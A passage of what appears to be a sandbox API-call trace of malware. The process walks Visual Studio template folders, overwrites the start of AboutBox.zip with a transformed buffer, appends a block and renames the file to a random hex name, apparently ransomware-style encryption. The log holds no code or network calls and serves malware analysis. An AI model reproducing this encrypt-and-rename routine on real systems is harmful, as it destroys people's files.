(in: _Dest=0x107cc0, _Source="CSharp" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp" [0152.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x107480 [0152.046] wcscpy (in: _Dest=0x107480, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp" [0152.046] wcscat (in: _Dest=0x107480, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\" [0152.046] wcscat (in: _Dest=0x107480, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\*" [0152.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9a560 [0152.046] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\*", lpFindFileData=0x1cd9a560 | out: lpFindFileData=0x1cd9a560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c550 [0152.047] wcscmp (_String1=".", _String2=".") returned 0 [0152.047] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd9a560 | out: lpFindFileData=0x1cd9a560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.047] wcscmp (_String1="..", _String2=".") returned 1 [0152.047] wcscmp (_String1="..", _String2="..") returned 0 [0152.047] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd9a560 | out: lpFindFileData=0x1cd9a560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0152.047] wcscmp (_String1="1033", _String2=".") returned 1 [0152.047] wcscmp (_String1="1033", _String2="..") returned 1 [0152.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x107fc0 [0152.047] wcscpy (in: _Dest=0x107fc0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp" [0152.047] wcscat (in: _Dest=0x107fc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\" [0152.047] wcscat (in: _Dest=0x107fc0, _Source="1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0152.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x119990 [0152.047] wcscpy (in: _Dest=0x119990, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0152.047] wcscat (in: _Dest=0x119990, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0152.047] wcscat (in: _Dest=0x119990, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\*" [0152.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9a2f0 [0152.048] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\*", lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9ca30 [0152.055] wcscmp (_String1=".", _String2=".") returned 0 [0152.055] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.055] wcscmp (_String1="..", _String2=".") returned 1 [0152.055] wcscmp (_String1="..", _String2="..") returned 0 [0152.055] FindNextFileW (in: hFindFile=0x1cd9ca30, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x8b52, dwReserved0=0x0, dwReserved1=0x0, cFileName="AboutBox.zip", cAlternateFileName="")) returned 1 [0152.055] wcscmp (_String1="AboutBox.zip", _String2=".") returned 1 [0152.055] wcscmp (_String1="AboutBox.zip", _String2="..") returned 1 [0152.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1b776d90 [0152.056] wcscpy (in: _Dest=0x1b776d90, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" [0152.056] wcscat (in: _Dest=0x1b776d90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0152.056] wcscat (in: _Dest=0x1b776d90, _Source="AboutBox.zip" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AboutBox.zip") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AboutBox.zip" [0152.056] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AboutBox.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\aboutbox.zip")) returned 0x20 [0152.095] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AboutBox.zip", dwFileAttributes=0x20) returned 1 [0152.096] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AboutBox.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\aboutbox.zip"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x25e4 [0152.096] GetFileSizeEx (in: hFile=0x25e4, lpFileSize=0x3954fa40 | out: lpFileSize=0x3954fa40*=35666) returned 1 [0152.096] SetFilePointerEx (in: hFile=0x25e4, liDistanceToMove=0x8b4e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.096] ReadFile (in: hFile=0x25e4, lpBuffer=0x3954f9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3954fa08, lpOverlapped=0x0 | out: lpBuffer=0x3954f9c0*, lpNumberOfBytesRead=0x3954fa08*=0x4, lpOverlapped=0x0) returned 1 [0152.136] SetFilePointerEx (in: hFile=0x25e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205009b0 [0152.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500a40 [0152.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500a70 [0152.137] NtQuerySystemTime (in: CurrentTime=0x3954f900 | out: CurrentTime=0x3954f900*=132462177573490000) returned 0x0 [0152.137] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x1e678433 [0152.137] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x72c7a478 [0152.137] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x6f7437e7 [0152.137] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0xf3c5d78 [0152.137] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0xeb321bd [0152.137] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x78f57535 [0152.137] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x7b003b88 [0152.137] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x495f6265 [0152.137] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x79110467 [0152.137] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x4055a9e5 [0152.137] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x15a363d3 [0152.137] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x5cb8b429 [0152.137] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x4bc92696 [0152.137] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x1af7a598 [0152.137] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x3d8ed67e [0152.137] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x6c6b0a72 [0152.137] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x6176e42 [0152.137] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x91daca3 [0152.137] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x574b149f [0152.137] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x65eb0b41 [0152.137] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x7347f36d [0152.137] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x2530fd99 [0152.138] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x45d7799 [0152.138] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x4f65dd65 [0152.138] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x1ca906a2 [0152.138] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x6b19a551 [0152.138] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x3b5da90f [0152.138] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0xf35179c [0152.138] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0xa6abbbb [0152.138] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x53de2d9a [0152.138] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x7b269163 [0152.138] RtlRandomEx (in: Seed=0x3954f8f0 | out: Seed=0x3954f8f0) returned 0x42cd4b48 [0152.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500aa0 [0152.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420617b0 [0152.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500ad0 [0152.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420617b0) returned 1 [0152.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500a70) returned 1 [0152.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205009b0) returned 1 [0152.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425cc580 [0152.146] SetFilePointerEx (in: hFile=0x25e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.146] ReadFile (in: hFile=0x25e4, lpBuffer=0x425cc580, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3954f960, lpOverlapped=0x0 | out: lpBuffer=0x425cc580*, lpNumberOfBytesRead=0x3954f960*=0x3c00, lpOverlapped=0x0) returned 1 [0152.191] SetFilePointerEx (in: hFile=0x25e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058b50 [0152.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420617b0 [0152.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265430 [0152.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265430) returned 1 [0152.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425d3da0 [0152.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265430 [0152.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500a70 [0152.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500a70) returned 1 [0152.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420617b0) returned 1 [0152.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058b50) returned 1 [0152.194] WriteFile (in: hFile=0x25e4, lpBuffer=0x425d3da0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3954f960, lpOverlapped=0x0 | out: lpBuffer=0x425d3da0*, lpNumberOfBytesWritten=0x3954f960*=0x3c00, lpOverlapped=0x0) returned 1 [0163.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425d3da0) returned 1 [0163.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425cc580) returned 1 [0163.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263200 [0163.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97e40 [0163.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cf5f380 [0163.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19bc0 [0163.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19bc0) returned 1 [0163.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c19bc0 [0163.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19bf0 [0163.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19c20 [0163.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19c20) returned 1 [0163.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5f380) returned 1 [0163.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e40) returned 1 [0163.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c242d0 [0163.083] SetFilePointerEx (in: hFile=0x25e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0163.083] WriteFile (in: hFile=0x25e4, lpBuffer=0x42c242d0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3954fa10, lpOverlapped=0x0 | out: lpBuffer=0x42c242d0*, lpNumberOfBytesWritten=0x3954fa10*=0x10a, lpOverlapped=0x0) returned 1 [0164.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18690 [0164.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8692c0 [0164.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500470 [0164.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500470) returned 1 [0164.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d180 [0164.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500470 [0164.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500440 [0164.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500440) returned 1 [0164.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8692c0) returned 1 [0164.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0164.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ff70 [0164.926] sprintf (in: _Dest=0x1cd9ff70, _Format="%c%c" | out: _Dest="28") returned 2 [0164.926] sprintf (in: _Dest=0x1cd9ff72, _Format="%c%c" | out: _Dest="4f") returned 2 [0164.926] sprintf (in: _Dest=0x1cd9ff74, _Format="%c%c" | out: _Dest="a0") returned 2 [0164.926] sprintf (in: _Dest=0x1cd9ff76, _Format="%c%c" | out: _Dest="26") returned 2 [0164.926] sprintf (in: _Dest=0x1cd9ff78, _Format="%c%c" | out: _Dest="c8") returned 2 [0164.927] sprintf (in: _Dest=0x1cd9ff7a, _Format="%c%c" | out: _Dest="49") returned 2 [0164.927] sprintf (in: _Dest=0x1cd9ff7c, _Format="%c%c" | out: _Dest="90") returned 2 [0164.927] sprintf (in: _Dest=0x1cd9ff7e, _Format="%c%c" | out: _Dest="90") returned 2 [0164.927] sprintf (in: _Dest=0x1cd9ff80, _Format="%c%c" | out: _Dest="9a") returned 2 [0164.927] sprintf (in: _Dest=0x1cd9ff82, _Format="%c%c" | out: _Dest="c9") returned 2 [0164.927] sprintf (in: _Dest=0x1cd9ff84, _Format="%c%c" | out: _Dest="7a") returned 2 [0164.927] sprintf (in: _Dest=0x1cd9ff86, _Format="%c%c" | out: _Dest="31") returned 2 [0164.927] sprintf (in: _Dest=0x1cd9ff88, _Format="%c%c" | out: _Dest="a0") returned 2 [0164.927] sprintf (in: _Dest=0x1cd9ff8a, _Format="%c%c" | out: _Dest="c2") returned 2 [0164.927] sprintf (in: _Dest=0x1cd9ff8c, _Format="%c%c" | out: _Dest="7f") returned 2 [0164.927] sprintf (in: _Dest=0x1cd9ff8e, _Format="%c%c" | out: _Dest="25") returned 2 [0164.927] sprintf (in: _Dest=0x1cd9ff90, _Format="%c%c" | out: _Dest="b2") returned 2 [0164.927] sprintf (in: _Dest=0x1cd9ff92, _Format="%c%c" | out: _Dest="1f") returned 2 [0164.927] sprintf (in: _Dest=0x1cd9ff94, _Format="%c%c" | out: _Dest="1f") returned 2 [0164.927] sprintf (in: _Dest=0x1cd9ff96, _Format="%c%c" | out: _Dest="c2") returned 2 [0164.927] sprintf (in: _Dest=0x1cd9ff98, _Format="%c%c" | out: _Dest="de") returned 2 [0164.927] sprintf (in: _Dest=0x1cd9ff9a, _Format="%c%c" | out: _Dest="c2") returned 2 [0164.927] sprintf (in: _Dest=0x1cd9ff9c, _Format="%c%c" | out: _Dest="d2") returned 2 [0164.927] sprintf (in: _Dest=0x1cd9ff9e, _Format="%c%c" | out: _Dest="a0") returned 2 [0164.927] RtlInitAnsiString (in: DestinationString=0x3954fa88, SourceString="284fa026c84990909ac97a31a0c27f25b21f1fc2dec2d2a0" | out: DestinationString="284fa026c84990909ac97a31a0c27f25b21f1fc2dec2d2a0") [0164.927] RtlAnsiStringToUnicodeString (in: DestinationString=0x3954fa58, SourceString="284fa026c84990909ac97a31a0c27f25b21f1fc2dec2d2a0", AllocateDestinationString=1 | out: DestinationString="284fa026c84990909ac97a31a0c27f25b21f1fc2dec2d2a0") returned 0x0 [0164.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce14ea0 [0164.928] RtlFreeAnsiString (AnsiString="2") [0164.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ff70) returned 1 [0164.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d180) returned 1 [0164.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500470) returned 1 [0164.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c242d0) returned 1 [0164.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19bc0) returned 1 [0164.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19bf0) returned 1 [0164.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263200) returned 1 [0164.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265430) returned 1 [0164.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500a40) returned 1 [0164.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500aa0) returned 1 [0164.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500ad0) returned 1 [0164.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe0) returned 0x1b799520 [0164.931] wcscat (in: _Dest=0x1b799520, _Source="284fa026c849" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\284fa026c849") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\284fa026c849" [0164.931] wcscat (in: _Dest=0x1b799520, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\284fa026c849.2f9b60") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\284fa026c849.2f9b60" [0164.931] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\284fa026c849.2f9b60", NtPathName=0x3954fa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\284fa026c849.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfe) returned 0x169b30 [0165.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169b30) returned 1 [0165.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c345c0) returned 1 [0165.035] NtQueryInformationFile (in: FileHandle=0x25e4, IoStatusBlock=0x3954fa98, FileInformation=0x3954faa8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3954fa98, FileInformation=0x3954faa8) returned 0x0 [0165.035] NtSetInformationFile (FileHandle=0x25e4, IoStatusBlock=0x3954fa98, FileInformation=0x3954faa8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799520) returned 1 [0165.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce14ea0) returned 1 [0165.072] FlushFileBuffers (hFile=0x25e4) returned 1 [0166.264] CloseHandle (hObject=0x25e4) returned 1 [0184.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xde) returned 0x1b799520 [0184.003] wcscpy (in: _Dest=0x1b799520, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\" [0184.003] wcscat (in: _Dest=0x1b799520, 